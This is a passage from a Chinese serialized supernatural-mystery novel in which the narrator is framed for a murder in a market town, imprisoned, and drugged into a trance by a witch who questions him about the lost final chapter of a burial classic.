苗大奶奶虽然离开了平安集,但时不时还是会有她的一些传闻散播出来。她的丈夫死了之后,苗大奶奶的性格变的更加孤僻乖张,因为家世的原因,苗大奶奶经常养一些乱七八糟的玩意儿,而且大多都带着毒,跟她接触的人,都害怕被沾染上一星半点。 就因为这样,七爷身边的人才会对苗大奶奶很忌惮。 “五满,现在没有办法,只能先稳住,自己不要乱,到时候见机行事吧,但凡能替你说话,一定替你说。” “七爷明摆着是不讲道理的。” “只能想办法拖,拖到三大爷回来再说。” 我和小皮嘀嘀咕咕的说着话,七爷也不阻拦,还是闭目养神,又过了半个来小时,七爷派出去的两个人回来了。 这两个人的身后,跟着一个看上去有四十多五十岁的女人。这女人的装束有点奇怪,跟内地人有点不同,她很瘦,脸庞两边的颧骨高高凸起,单眼皮,薄嘴唇,皮肤灰不溜秋的,模样就让人感觉有些刻薄。 混在平安集的人,大多都认识苗大奶奶,她一来,围拢在四周看热闹的人哗啦就散开了,让出了一条路。苗大奶奶看都不看他们一眼,慢慢的走了进来。 “大妹子,你来了。”七爷放下手中的两颗铁胆,起身迎了两步。小皮说,苗大奶奶有时候会帮七爷做一些不见光的脏活儿,七爷对苗大奶奶也一直非常客气。 “听人说,这里死了人了?” “死了个人,平安集的那个傻子,傻子来这里的时候,大妹子你应该还在,记得吧?” “记得。” “一个傻子,谁都不会跟他为难,如今却被人给弄死了。弄死傻子的人,如今是找到了,但是就是死咬着不肯认。咱们办事,一向都是以理服人,这才把你请了过来。” “什么是死咬着不肯认?我没有做过的事,为什么要认。” 我一看七爷的确是想把事情闹大,然后硬给我扣到头上,也不想再忍了,起身争辩道:“我没杀人,也不要想着能冤枉我!” “我在平安集这里主持公道,从来不会冤枉人,要不然,也不会大老远的把苗大奶奶请过来。小子,你是不是觉得,傻子已经死了,周围也没人看见你动手杀人,就觉得自己没事?告诉你,有本事的人多了去了,就算人死了,也能从死人嘴里掏出实话!” 我还想再说,小皮暗中拉了拉我,现在和七爷说的再多也是白费力气。 苗大奶奶看了看二傻子的尸体,我就觉得,她应该是民间老百姓说的过阴问话的那种人。 民间过阴问话,一般用的是看香和扶乩两种方法,人死的越早,能问出的话就越多,也越准确,傻子刚死去不久,正是过阴的最佳时机。 如果真正来了一个不偏袒谁的巫婆,正儿八经的给二傻子过阴问话,对我其实还是好事,可以洗脱冤屈,但是来的是苗大奶奶,本身就和七爷有猫腻。 “年轻人,苗大奶奶来了,死人都会开口,你也不要心存侥幸,现在把事情认了,咱们该怎么办就怎么办,多少也要给程白鹤一点面子。” “我没杀二傻子。” “要是这样,那就没办法了。”七爷站起身,站在门槛跟前说道:“诸位老少爷们,平安集的规矩,大伙儿都知道,苗大奶奶的为人,是靠得住的,这个外来的年轻人在平安集犯了事,又不肯认,只能请苗大奶奶来问个公道。” 没有人会跟七爷过不去,七爷说什么,周围的人都是唯唯诺诺点头称是。 “苗大奶奶,劳烦你了,拿出点铁证。” 苗大奶奶慢慢走到我跟前,看了我一眼,她那张灰扑扑的脸,还有高耸的颧骨,都让我感觉浑身上下不自在。 我本来以为,苗大奶奶也会跟别的巫婆一样,请一炷香,或者是摆一个沙盘,准备过阴。但苗大奶奶的手法,跟别的巫婆不同,她解开二傻子的衣服,唰的取出一把只有一指宽的小刀。 小刀虽然小,却锋利无比,闪着迫人的寒光,苗大奶奶出手非常利索,直接用小刀在二傻子的肚子上,划开了一个很小的口子。二傻子死了好几个小时,身上的血都凝固了,划开这么深的口子,也不见血流出来。 紧跟着,苗大奶奶又取出一颗和花生大小差不多的东西,塞到了伤口中,用手指朝里面捅了捅。 “这世上,不会说谎的,只有死人。”苗大奶奶站起身,用手帕擦了擦自己的手指,又看了我一眼。 我不知道这到底是要干什么,可是,苗大奶奶的话里,带着森森的寒意,让我感觉后背发凉。 屋子里里外外都鸦雀无声,七爷把苗大奶奶让到一旁,两个人都没说话,就坐在那边等。 过了大概能有十分钟时间,二傻子的脑袋,突然动了动。 我心里一惊,想着这又是苗大奶奶要搞附体上身那一套。 但很快,我心里的念头就被打碎了,二傻子的脑袋动了两下,嘴巴也跟着慢慢张开了。随即,我就发现,并不是二傻子自己在动,是他的嘴巴里,慢慢的钻出来一棵墨绿色的树苗一样的东西。 这棵树苗一样的玩意儿,从二傻子的嘴里钻出来之后,就用肉眼可见的速度慢慢的长高。我以前没见过这东西,也不知道是什么,树苗长到大概一尺多高,和小拇指那么粗的时候,就停止了生长。 树苗的最顶端,有一片卷曲的叶子,等树苗停止生长的那一瞬间,这片卷曲的叶子,就慢慢的舒展开了。 我没想到,这棵只有一尺多长的树苗,长出来的叶子竟然有一只蒲扇那么大。 第184章 未知目的 这棵小树上面唯一的一片叶子,彻底的舒展开来,墨绿色的叶片上面,有无数的筋络,这么复杂的筋络,无形中勾勒出了一片图案。 站在不同的角度,叶片上的图案就会不断的变幻,最开始的时候,我还看得不太清楚,但是,那些已经看到叶片图案的那些人,都忍不住朝我这边望了过来。 小皮站在我旁边,急忙拉了我一把,等我挪动脚步的时候,头就大了。 站在这里,可以很清楚的看到叶片上的图案,那是一副人脸,而且,就是我自己的脸。 叶片在缓缓的转动,渐渐的,四面八方的人都看到了叶片上的那张脸,虽然他们跟我都不熟,却能认得出我。 “哎呀,真是这个人……” “这个年轻人是谁家的?以前不常见他。” “听说,是寿衣店程老板家里的亲戚。” 众人窃窃私语,好像已经认定了我就是杀了二傻子的凶手。即便有人觉得是七爷和苗大奶奶做了什么手脚,肯定也不会明说。 “各位,都看到了吧。”七爷慢慢站起身,指着那棵树苗上的叶子,说道:“傻子虽然死了,却还是说出了杀他的真凶。” “各位老少爷们。”我看着事情到了这一步,也干脆彻底豁出去了,冲着围观的众人说道:“我初来平安集,人生地不熟,跟谁都无冤无仇,现在鬼眼老七硬是要把这个罪名安到我头上。苗大奶奶用了这一招,江湖把戏而已,就凭着这些,就能认定是我杀的人?” 在场的众人,都能听到我的话,只不过不可能有人替我打抱不平。 “各位都是吃江湖饭的,混江湖的人,有自己的原则,我平白无故杀了二傻子,对我有什么好处?我杀了他,能图些什么?” 其实,这个道理谁都能懂,冒着那么大的风险杀人,必然有目的。 但是,七爷和苗大奶奶都在场,依然没有人敢多说什么。 “行了,你也不用在这里花言巧语的替自己开脱,人证物证都在,抵赖也没有用。” “好,既然人证物证都在,那你把我交到派出所去。公家定我什么罪,我都认了。” 我现在还是抱着那个念头,不管把我交到什么地方,总比落在七爷手里强。要是真被交上去,肯定会有一番麻烦,但不会有人故意冤枉我,查清楚之后,还是能给我个清白。 “江湖事,江湖了,我们平安集没有把人交上去的习惯,你犯了平安集的忌讳,就要按平安集的规矩来办。来,先把他给绑起来。” 七爷身边的人早就严阵以待,一听到七爷下令,几个人就拥到了跟前。小皮一直在旁边守着我,一步上前,他带回来的几个人也都懂了起来,想把我挡在后头。 “小皮!你这是想翻天吗!” “七爷,我可没那个意思,事情还不算搞清楚了,就拿着一片叶子,证明是他杀的人?” “看起来,你们程家,是真想放开手脚跟我斗一斗了,告诉你,我可不怕。” 这一句话,把小皮给点醒了,程白鹤在平安集这边有生意,事情要真的闹大,七爷暗地里再使坏,情况可能会更加棘手。何况,小皮带来的这几个人,在七爷面前也不够看。 “小皮。”我拉了小皮一把,说道:“你先回去。” “五满,我想办法通知三大爷,叫他赶紧回来。” 小皮没有别的对策,现在动手,肯定要吃亏,他带着几个人,离开之前对七爷说道:“七爷,平时大家抬头不见低头见,我们三大爷从来都不想把事情弄僵,七爷要是摆明了欺负人,我们也不会认,七爷不是一直想要我们家的店面,真不行的话,程家的店面,送给你。” 小皮说完这几句话,就匆匆离去了。这家伙平时嬉皮笑脸没个正经,但是刚才那几句,都是狠话,意思就是七爷要把事情做绝的话,程家大不了就离开平安集,以后专门对付七爷。 七爷的眉心跳动了两下,冷冰冰的看着小皮离开,头也不回的吩咐道:“把这人关起来,既然小皮说了,要让他三大爷回来主持公道,那就等着程白鹤回来。” 几个人架着我,把我带到了后院的一间小屋里。这时候,我的心情稍微松了松,他们只要不把我给弄走,还留在平安集,等到程白鹤回来以后,可能会跟七爷交涉。 程白鹤的万花门,也不是吃素的,七爷估计会自己掂量。 小屋很小,可能就是专门用来关人的,窗户被厚厚的木板给钉死了,屋里只有一张破床。把我关进来之后,屋门从外面锁上,有三四个人守在门口附近。 我坐下来想了想,事情反正已经这样了,只能见机行事。等到慌乱的心情渐渐平息下来的时候,我就觉得,事情很不符合常理。 之前我一直觉得,七爷或许就是为了程白鹤的门面,所以想找点麻烦,但是,给我设这个局,必然要把二傻子提前给弄死。 这年头不是之前的乱世,是有王法的,就算是弄死个傻子,也不会没人管。冒着杀人的风险,就为了一间门面,可能真的有点离谱。 一想到这里,我的脑门子就冒汗了,如果七爷不是为了门面,那他的目的是什么? 之前皮匠的死,已经是个很玄的事情了,现在又遭遇到了这样的栽赃,我不清楚这里头是不是有什么必然的关联,可是越想越觉得不对劲。 七爷的目的究竟是什么?他这次显然有非常强烈的指向性,单纯就是为了栽赃我的。我在平安集这里没得罪过七爷,那么七爷的目的,肯定就和平安集这些人或者事情没什么关系。 第185章 异样气味 我被七爷关起来之后,形势就有点被动,虽然我很冤枉,但现在不能逃走,否则就是自认了杀了二傻子的罪责。 现在能做的就是等,等到程白鹤回来,看看怎么和七爷去交涉。而且,我也觉得,七爷的目的应该不是要跟程白鹤争抢门面,只有程白鹤回来,跟七爷真正去谈,才可能知道七爷的最终意图。 被关在这个小屋里面,心里总是感觉很不自在,而且还有种隐隐的危机。 到了第二天,小皮来看我了一次,七爷不让人打开屋门,就隔着房门说了几句话。 “五满哥,我已经想办法通知三大爷了。”小皮凑近门缝,小声说道:“不管现在是啥情况,你都要稳住,一切等三大爷回来之后再说。” “我知道。” “看眼下的这个样子,七爷应该暂时不会把你怎么样,你也别太担心。” “有一点我一直搞不明白,鬼眼老七弄这么一出,到底是要挟你三大爷,还是直接冲着我来的。” “我也想不通,七爷跟白八门应该没什么过节,他为难你有什么意义?” “现在也不用瞎猜了,他有什么目的,迟早都会暴露出来的。” “五满哥,你只要现在不出什么事就行,七爷盯我也盯的很紧,我先走了。” 小皮离开以后,我心里多少踏实了一点,这一天时间,程白鹤的人又有几个到了平安集,七爷应该不会把事情做的太绝,让小皮来拼命,所以,我眼下的处境大概是安全的。 剩下的就要等程白鹤回来之后再说。 在这样的地方,肯定寝食难安,小皮走了之后,我在小屋里来来回回的踱步,一直到傍晚的时候才重新坐了下来。 这时候,我听到门外似乎有人在很小声的说话,但声音太低了,听不清楚。我不知道是谁来了这里,悄悄的凑近屋门的门缝,朝外看了看。 当我一眼望出去的时候,门外的人恰好也在透着门缝朝里面观望,我忍不住朝后退了一步,门外的人也退了一步,这一瞬间,我就看到了一张灰扑扑的脸。 门外的人是苗大奶奶,她退后一步,什么都没说,转身就走了。 苗大奶奶的出现,让我本来稍稍平稳下来的心又高悬到了嗓子眼。七爷请苗大奶奶过来,说的就是让她想办法从二傻子那里问出凶手,不管苗大奶奶用了什么见不得人的把式,反正是成功的陷害了我。 按道理说,苗大奶奶的任务已经完成了,可是,她到这时候都没离开,而且还跑到这儿来窥视我,这就让我怀疑,对方还有什么不良企图。 苗大奶奶走了以后,就再也没有回来,等天色完全黑下来的时候,有人给我送来了饭。 我心里的警惕性很高,单单从外表来看,无法判断送来的饭菜是不是做了手脚,我被关在这里的时间不长,加上心理有压力,根本就不感觉饿,所以,他们送来的饭菜我连动都没动。 夜渐渐深了,这个门面的后院本来就安静,入夜以后更是静的一塌糊涂。我在屋里又转悠了好一会儿,这才躺了下来。 在我将要睡着却还没有完全睡过去的间隙,突然就闻到了一股淡淡的气味,这种气味说不上好闻,也说不上难闻,就像是放了很久很久的木头和骨头燃烧之后所散发的味道。 我不知道这股气味是从什么地方传过来的,本来都快要睡着了,一闻到这股气味,立刻又清醒了过来。 我站起身看了看,门外面没人,因为小屋里没有灯,黑漆漆的一片,所以也看不清楚哪里冒着烟气。 不过,我肯定不会判断失误,的确是有一股气味在小屋里渐渐的弥漫。 这股气味一直都很淡,却挥之不去,我心里感觉很不妙,因为闻了这股气味以后,整个人就仿佛精神亢奋,尤其是脑子特别活跃,思绪跳来跳去,一会儿想到天南,一会儿又想到海北。 这种状态明显不怎么正常,如此感觉,以前从来没有过,我不免有些心慌,那股无形的气味,肯定有问题。 然而,被关在这个小屋子里,出也出不去,我不可能一直捏着鼻子不呼吸。 我急忙用衣襟捂着鼻子和嘴巴,又冲到门边,砰砰的砸门。 门外一直都是有看守的,但是从门缝里我看不到门外的看守,用力砸门,也没有任何的回应,整个后院仿佛所有的活东西全部死绝了。 无奈之下,我只能用力的撞门,想要把门先撞开再说,然而,这道屋门的结实程度超乎我的想象,用尽全力,也无法撼动屋门。 后面的窗户也钉的死死的,压根就没有逃脱的希望。我虽然已经用衣服捂住了嘴巴和鼻子,可那股淡淡的气味,却仿佛拥有极强的穿透力,层层叠叠的衣服挡不住这股气味的侵袭,我依然还是能闻到。 闻的时间越久,那种极度亢奋的状态就越严重,脑子好像要从头骨里飞出来似的。 这一瞬间,从小到大所有的记忆,仿佛潮水一般的全部涌上心头,一件一件的往事,一个一个的故人,宛若呼啸而过的流星,从脑海嗖嗖的划过。 我以前从来都没有这种异样的感受,反正就是觉得不对劲,门窗全都打不开,自己又不可能不呼吸,过了最多有十分钟时间,亢奋的精神达到了顶点,我一个踉跄,直接坐倒在旁边的小床上,再也爬不起来了。 我的知觉消失的很快,不知道过了多久,彻底丧失的意识突然又出现了,我感觉身躯沉甸甸的,怎么挣扎都动弹不得。 这种感觉,就和民间老百姓所说的鬼压床一样,明明有了一些意识,却就是不能动,我以前跟着师傅,从来都没有经历过鬼压床,内心最深处不由自主的涌动出了一种很强烈的恐慌。 我拼命的挣扎,身躯轻轻一翻,意识仿佛又恢复了一点。 身上被压着的那种感觉终于消失了,我跟着就迷迷糊糊的睁开了眼睛。 在我睁开眼睛的那一瞬间,立刻察觉到,小床的床边站着一个人。 那个人身上仿佛穿着一件很宽大的斗篷,正微微的弯着腰,目不转睛的注视着我。 我能隐约看到对方的脸,在看到他的同时,我的心就像是要从胸膛跳脱出来一样。 第186章 一道门 我说不清楚,站在床边的究竟是不是个人。 这人的脑袋被斗篷给遮住了,只露出了一张脸。他的脸好像是一只剥了壳的鸡蛋,没有嘴巴鼻子耳朵,也没有眉毛和头发,整张脸上,就只有一双眼睛。 那是一双死鱼一般的眼睛,眼眶很大,眼球很小,两只小小的眼球朝外凸起,好像随时都要从眼眶里掉下来。 这玩意儿看起来有头有身躯,可就看这张脸,真的不像是人的模样。 不管是谁,看到这个人不像人鬼不像鬼的东西,都不可能无动于衷,我也想挣扎着坐起来,然而,双手双脚就仿佛被抽去了所有的精气神,软踏踏的,使不出一点力气。 此时此刻,我突然有点茫然,因为我觉得自己都说不清楚,自己的眼睛是不是真的睁开了,是不是真的看到了床边的这个人。 “你的脑子里,是什么?” 一道幽幽的声音,钻到了我的耳朵里,让我产生了很强烈的反应。这道声音听起来不像是男人,但也不像是女人,不阴不阳的,非常的怪异。 声音虽然不高,却丝丝缕缕,聚而不散,仿佛从我的耳朵又钻到了我的心田深处。 “你好好想想,你的脑子里有什么……” 这声音又一次钻到了耳朵里,我的身子虽然不能动,但头脑却没有完全丧失意识。这声音如同一种提醒,很短时间里,我的脑海不由自主的又一次开始翻滚。 这仿佛是一次非常彻底的回忆,人的一生有很多很多回忆,有些鸡毛蒜皮的小事,随着时间的推移,肯定会被人渐渐的淡忘,然后隐没在角落中,越是过的久,就越是不会想起这些。 我也不例外,虽然我的年龄不大,但从小到大所有的回忆堆积在一起,也如同一片浩瀚的海洋,很多小事,我的确是没有什么印象了。 可是这一刻,我的脑子却像是一面镜子,把记忆深处每一个角落里的零碎往事,全都映照了出来。 铺天盖地的信息一股脑的浮现出来,我觉得自己的脑袋都快要被挤爆了。 然而,在这种无尽的混乱中,却让我想起了很多几乎已经忘记的事情。 我想起第一天跟着师傅回家的时候,吃的是什么饭,用的是什么颜色的碗。 我想起师傅第一次给我买的衣服上面,有几颗扣子,第一次给我买的糖果是什么味道的。 我还想起以前和玉芬在一起玩耍的时候,偷了谁家的鸡,撵了谁家的狗。 甚至,连一些只有一面之缘的普通人,在这一刻好像全都出现在了回忆之中。 “想起来了吗……再想想……” “想起来了……” 当那道声音又一次幽幽的落入耳中的时候,我仿佛管不住自己的嘴巴,喃喃自语一般的回答了对方。 “想起什么了?” 我慢慢把自己回想起来的那些事情,一件一件都说了出来,包括以前见过的那些很普通的老百姓,也都一个一个的描述了一遍。 我相信,这个世界上不可能再有任何人,比我对往事回忆的更清楚了,那些鸡零狗碎的小事,说的多了,连自己都觉得烦。 但是,站在床边的那个人却很有耐心,一声不响的在听。我喃喃自语一般的说了很长时间,对方听完之后,停顿了一下。 紧接着,他又问道:“葬经终篇的那些内容,你还记得吗?” “葬经终篇……” 如果不是在这个时间这个地点突然听到了这个问题,我可能连想都不会多想,但是,这道声音就好像是一把钥匙,一下子就把记忆中的一道大门给打开了。 我可以确定,我这辈子都没有见过什么葬经的终篇,虽然我知道有这东西,而且很多人都在不断的寻找,可对我来说,那毕竟只是传闻。 但这道声音在这个时候说起葬经终篇,我的感觉突然就强烈了起来。 恍惚之中,我似乎隐隐约约回想起,过去的某个时间,我好像看过葬经的终篇。 只不过,这个印象相当的模糊,我甚至都不能确定,此时自己的感觉是不是正确的,所以,我就更不可能回想起葬经终篇的内容。 “没有……我想不起来……想不起来葬经终篇……” “没关系,有的是时间,我不急,你慢慢想,好好想……千万不要遗漏任何线索,你仔细想想……” 这声音似乎是一种提示,又像是一种引导,我现在的状态本来就飘忽不定,想来想去,纷乱的脑海中,好像真的出现了一道很沉重的门。 那道门是紧闭着的,门里面是什么,我也看不到。 “门……” “什么?” “一道门……一道门……”这时候,我有些慌乱了,因为这道门的出现,让我极度的不安。 我内心深处其实还是清楚的,人的脑袋里不可能有什么物体,这道门只是一个象征,它或许象征着,我的记忆里还有什么没有被回想起来的细节。 “接着想……你好好看看,看一下那道门后面,是什么?” “门是关着的,我看不到……” “看不到,就仔细的看,慢慢的看,看看那道门后面,是不是葬经的终篇。” 我的意识没有完全丧失,可是,现在却又好像控制不住自己的脑子,那道声音让我仔细的想,我竟然真的开始冥思苦想。 脑海中的那道门,隐隐约约,云里雾里,我已经用尽了全力,那道门始终还是紧闭着。 这样的情况,是不可能主动把门打开的,打开这道门,就意味着被遗忘的记忆,会重新浮现。 想来想去,我自己都有些急躁了,明明是有什么事情没想起来,却始终回忆不起一点头绪。 脑子里的那些记忆的信息越来越乱,好像一片铺天盖地的潮水,把那道门给淹没了起来。 正当我心急火燎的时候,脑海里似乎传出轰隆一声闷响,那些乱七八糟的记忆的碎片,一下子被震碎了,变成一片泡沫,急速的消失。 那道被淹没起来的门,重新显现出来,而且,我惊诧的发现,那道门,似乎已经打开了。 第187章 记忆中的人 记忆中的那道门,可能尘封了很久很久,我之前从来没有察觉过。如果不是今天遇到了这样的契机,或许我仍然会一无所知。 当那道门缓缓打开的时候,脑海中那些凌乱的画面,似乎同时都消失了。 我看到了一个人,静静的站在一片山野之中。他身后是一个用茅草木头搭出来的小院子,几间小屋,一切都显得那么的简单,质朴。 这是个男人,面对着小院,一动不动的矗立着,似乎是在凝视,又似乎是在思索。 我看不到他的长相,也无法判断他具体的年龄。 但是,这个人一定是深埋在我记忆中的。 此时此刻的我,就像是一个旁观者,我很想看一看,这个隐藏在记忆深处的人,到底是什么样子的,可是,对方就好像一块石头,任凭风吹雨打,却纹丝不动。 就在这个时候,我突然注意到了这个人的手。他站的笔直笔直的,两只手垂在身体两侧,我看到他的右手明显和普通人不一样。 他的右手,只剩下了一根大拇指,其余的四根指头都没有了。 是这个人? 我不相信会有这样的巧合,程白鹤说的白水湖火拼,邪神庙有个少年在突围中被人砍掉了右手的四根手指。 前段日子老杂毛找到平安集这里,马车后面的箱子里,躺着一个右手只剩一根手指的人。 这个人之前根本没有给我留下过任何的印象,但是等我知道了这个人之后,他很快就出现在了平安集。尽管上一次我和他之间没有碰面,也没有产生任何的纠葛,可这个时候,我就觉得,这不太会可能是一种偶然。 我相信,这个人就是当年从白水湖逃走的那个少年。 我一下子就迷茫了,人的记忆和幻想完全是两码事,幻想可以天马行空,但脑海里的记忆肯定是已经发生过的事情,不可能凭空捏造。 如果某个人,某件事,一直都隐藏在记忆里,那就足以说明,自己起码见过这个人,经历过这件事。 我想不起来自己在什么时候见过这个掉了四根手指的人,这种人的特征很明显,如果真的见过,应该不会忘记。 脑海中的情景似乎是静止了,只剩下这个人,像是一块千百年都没有倒下的石头,屹立当场。 “你看到了什么?想起了什么?” “我……” 那道幽幽的声音,一下子打断了我的思绪,这个时候,我的状态肯定和平时不一样,听到这声音,下意识的就想回答对方。 可是,我内心最深处对床边这个只有一双眼睛的人肯定是排斥和抵触的,对方这么一问,我仍然有些抗拒,喃喃自语了一句,没有直接回答他。 “快告诉我,你想到了什么?有没有看见……看见葬经终篇的内容?” “没有……” “没有?那你到底看见了什么?告诉我!” 这道幽幽的声音,顿时变得凄厉起来,就好像一道魔音,直接把我的身躯给穿透了。我没有多少抵抗之力,虽然内心深处是很排斥,可这道声音一凄厉,我忍不住就把刚才看到的情景说了出来。 “右手只有一根手指?” “对,只有一根大拇指……” “那你再继续看,看看有没有葬经终篇……” 这时候,我的脑子已经乱的一塌糊涂,那个掉了四根手指的人,已经在记忆里消失了,取而代之的是一团纷乱。什么葬经的终篇,根本连影子都没有。 “没有……没有葬经的终篇……” “怎么会没有葬经的终篇!看看!你再看看!” 这声音已经凄厉到了极点,好像下一秒钟就会直接把我活活掐死。 但是,声音这么一凄厉,隐隐约约就显露出了原本的音色。我虽然迷糊,却还是能分辨出来,这是个女人的声音。 而且,这个女人的声音不算很陌生,不久之前刚刚才听到过。 这一定是那个苗大奶奶的声音,当我的潜意识里回想到这一点的时候,晕乎乎的脑袋就恢复了一点清醒。 我拼尽全力,想要翻身爬起来,床边的那个人可能看着我要清醒了,身躯一闪,立刻无声无息的消失在了视线中。 周围恢复了平静,我又自己挣扎了好一会儿,一不小心从床上掉了下来。 被摔了一下之后,似乎把我给彻底摔醒了,我翻身爬了起来,小屋里黑咕隆咚的,门窗还是关的很严,我挪动到了屋门跟前,伸手推了推,门仍旧是从外面锁上的。 我重新坐回去,至少过了十几分钟,这种昏沉的劲儿才算是缓了过去。 虽然刚才的脑袋糊里糊涂,但我听到的话,还有自己所回想起的那些记忆,至今还是没有忘却。 这时候,我心里暂时只剩下一个疑问,那个掉了四根手指的人,到底是谁?他为什么会在我的记忆里? 这种事情,是很难做出判断的。我的脑海中一瞬间又闪过了一个人的影子,就是那个曾经在王川山给我们拍照片的姑娘。 我当时一直认为,我肯定是这辈子第一次亲眼见到那个姑娘,然而,等接触了一段时间之后,我就产生了一种很强烈的熟悉感,我觉得,那个照相的姑娘,我以前见过,否则就不会有这么强烈的感觉。 可我那时候冥思苦想了很久,也始终想不起来,自己到底在何处见过对方。 而类似的感觉,在此刻又出现了,我的确不记得那个掉了四根手指的人。 与此同时,还有一个很要命而且离奇的问题也困扰着我。葬经终篇这东西,本来就是白八门的东西,不管白八门的人如何内斗,那也算得上是家门里头的事,跟外人没有关系。 这一次七爷和苗大奶奶想方设法的弄了个圈套,就是为了从我嘴里问出关于葬经终篇的事。他们不是白八门的人,怎么知道葬经终篇?又怎么会想起来找我逼问? 我自然而然的皱起了眉头,事情越来越复杂,七爷和苗大奶奶究竟扮演了什么样的角色,让我疑惑重重。 第188章 一根指骨 我不敢再睡觉了,而且还不断的观察着周围的所有动静,生怕七爷他们再耍什么花招。 可是,现在我被困在这个小屋里,躲也没地方躲,七爷要是真用阴招的话,防不胜防。 就这么熬到了天亮,我就在屋子里盘算着时间,按照小皮所说,今天程白鹤大概就能回平安集,有程白鹤去交涉,情况或许会好那么一点。 我这边正在琢磨,屋门吱呀一声被打开了,我以为是送饭的人开了门,但是抬头一看,就看见七爷和苗大奶奶一前一后的站在外头。 “你们到底想干什么!?”我一看见苗大奶奶,气就不打一处来,现在可以完全确定,昨晚必然就是她给我下的套。 “先不要管我们干什么,你自己杀人的事情都没说清楚,告诉你,杀人偿命,不管是把你交上去,还是按照我们平安集的规矩处置,你都难逃一死,现在给你留了条活命,你还那么横?” “你把我交上去,我什么都不说,是死是活,我都认了。” “年轻人,不要扯那些没用的了。”七爷拄着拐杖,站在门槛外头,慢悠悠的说道:“有个事情,我要问问你,你答上来了,说不准我心情一好,就把你给放了。二傻子的死,说大可大,说小可小,全要看你自己怎么做,做的好,事情就抹过去,怎么样?” 我心里咯噔一声,和我之前判断的一模一样,七爷这一次栽赃陷害,完全就是冲着我来的,和程白鹤没有什么关系。 “我年纪轻,没什么阅历,你问的事情,我不知道。” “秤砣虽小,还能压千斤,你也不用谦虚,来,看看这个人,你认识不认识?” 七爷伸手就怀里取出了一块布,折叠的布打开了之后,我看到上面画着一个人。 画下这幅画的人,画工非常的高超,一支毛笔,一块破布,就把一个人描绘的栩栩如生。 画上的人看上去,大概就是三十多岁的样子,他的个子不是太高,瘦瘦的,五官非常端正,虽然不修边幅,可是也难掩眉宇之间的一股英气。 这人的衣着非常的普通,腰杆子挺的笔直,脸上也看不出什么表情。 当我看见这个人下垂的双手时,脑袋就嗡的一下,记忆似乎又一次纷乱了起来。 这个人的右手,只有一根大拇指。 毫无疑问,这个人肯定就是我在记忆深处看见的那个人,这人背对着我,看不清楚他的长相,却从眼前这幅画里,看到了他的真容。 如果没有昨天晚上的经历,可能我看着画里的这个人,内心不会有什么波澜,但就因为有了那样的经历,一看见这个人的时候,我就不由自主的又在拼命的想。 这个人,我曾经见过吗? “年轻人,你仔细看看,认识这个人吗?” “不认识。” “不要撒谎,我们混江湖的人,都有个毛病,你打我一顿可以,但千万别说瞎话蒙我,要是被我拆穿了,你会死的很惨,再好好看看,认识他吗?” “我说了不认识,你又不相信,既然不相信,还问我干什么?” “你要是不认识,这个人怎么会记在你心里?” 我斜眼看了看七爷,肚子里的火气噌噌的朝上冒。七爷这么说,其实已经是默认了他和苗大奶奶对我做了手脚。 这一瞬间,我有点恍然了,之前那个皮匠的尸体,前后两次被送到了寿衣店,我当时就觉得,皮匠的尸体不正常,眼珠子还能在眼眶里转动,让我产生了一种被尸体窥视的错觉。 可现在,我认为那应该不是错觉,或许七爷他们就是知道我的来历有点不寻常,专门想了个法子,在我身上查找端倪。 皮匠的尸体,肯定是被故意送到寿衣店的,而且,肯定也从我身上察觉到了些许端倪,所以,七爷他们才会故意给我挖了个坑,让我自己跳进去。 事情到了这一步,我浑身是嘴也说不清楚,七爷既然故意坑我,解释的再多也没有用。 “我说过了,你要是不相信,我也没有办法,这个人我真的不认识。” “嘴巴比石头都硬!让我来收拾他。” 苗大奶奶一直都在冷眼旁观,这时候可能有点不耐烦了,慢慢朝前走了一步,那双阴森森的眼睛死死的盯着我。 这个女人是从西南的山区来的,对付人的办法肯定有很多,但我不能认怂,现在认怂,必然会被对方死死的拿捏。 我就在拼命的拖延时间,先拖到程白鹤回来再说。 “先不要动手。”七爷伸手挡住了苗大奶奶,自己想了想,又冲着对方使了个眼色。 两个人一言不发,重新关上了房门,把我一个人丢到了屋里。 他们一走,我心里更加不安了,因为我觉得对方一定留有什么后手,而且是我无法抵挡的。 我在屋里焦躁的走来走去,不知不觉,已经到了中午,正在我心里烦躁不安的时候,屋门又被人给打开了。 “年轻人,有的事情,你自己不认,那我们就只能想办法让你认了。” 七爷一挥手,身后的几个人一拥而上,直接把我给围了起来,小屋本来就很小,施展不开手脚,我挣扎了几下,就被他们按的死死的。 有人抽出了一条绳子,把我反绑起来,然后推到了一旁。 七爷慢悠悠的走到我跟前,从身上取出一个很小的木盒子,他把木盒子打开之后,我看到里面是一截骨头。 那是一截人的指骨,如果我没有看错的话,应该是中指的指骨。这根骨头应该存放了很多年了,没有受到过任何的损毁,骨头还是白生生的。 “年轻人,知道这根骨头是什么来历吗?”七爷看着木盒里的指骨,说道:“刚才我给你看的那幅画,你还没忘吧?三十年前啊,画里的那个人,去过一个叫白水湖的地方。” 七爷的话让我心里咯噔一声,不由自主的就微微皱了皱眉。白水湖火拼,那是白八门内部的事情,七爷也不知道是从何处打听到的。 “画里的那个人,在白水湖被砍掉了四根手指,这是其中的一根,别看这一根小小的指骨,它可有大用呢。” “你想干什么?” “你不肯承认的事情,这根指骨,会让你说实话的。” 第189章 争执不下 七爷的话让我不由自主的打了个冷战,木盒子里的指骨已经存放了那么多年了,就那么一截小小的骨头,留到今天能有什么用? 一看到七爷还有苗大奶奶的表情,我就觉得心里发慌,此时此刻,我已经被绑的结结实实,完全没有挣扎的余地,对方要怎么样,我就得听天由命。 同时,我还是有种非常奇怪的感觉,当年在白水湖被砍掉了四根手指的人,到底是怎么回事?就因为我的脑海里,有这个人的相关记忆,所以我就一定要和他有什么关系? “你们到底想干什么?程大爷已经快回来了!有什么事情,等他回来,我们当面说清楚!” “不要想着程白鹤回来替你出头,他回来也没用。” 七爷的这两句话让我的心头又是一震,虽然七爷没有把话说的很透彻,可我还是从中嗅出了一点不一样的意味。 七爷在平安集的势力虽然不小,但是他也没有硬吃下程白鹤的把握,所以两个人面和心不合已经几年时间了,七爷始终都没敢硬下手。 但现在七爷的意思,明显是不怕得罪程白鹤,就算真的闹僵了要动手,七爷也有充分的把握。 这说明了什么? 这只能说明,七爷的背后还有人,程白鹤或许不会忌惮七爷,但七爷背后的人,是程白鹤也得罪不起的。 我就感觉腿肚子一个劲儿的转筋,如果还在混江湖的人里面,七爷算是元老级别的了,要是能驱使七爷出面办事的人,我真的想不出会是谁。 “我还是那句话,你老老实实的,我保证你能活。”七爷把那只木盒子转手交给了身后的苗大奶奶,说道:“年轻人,不要乱动弹。” 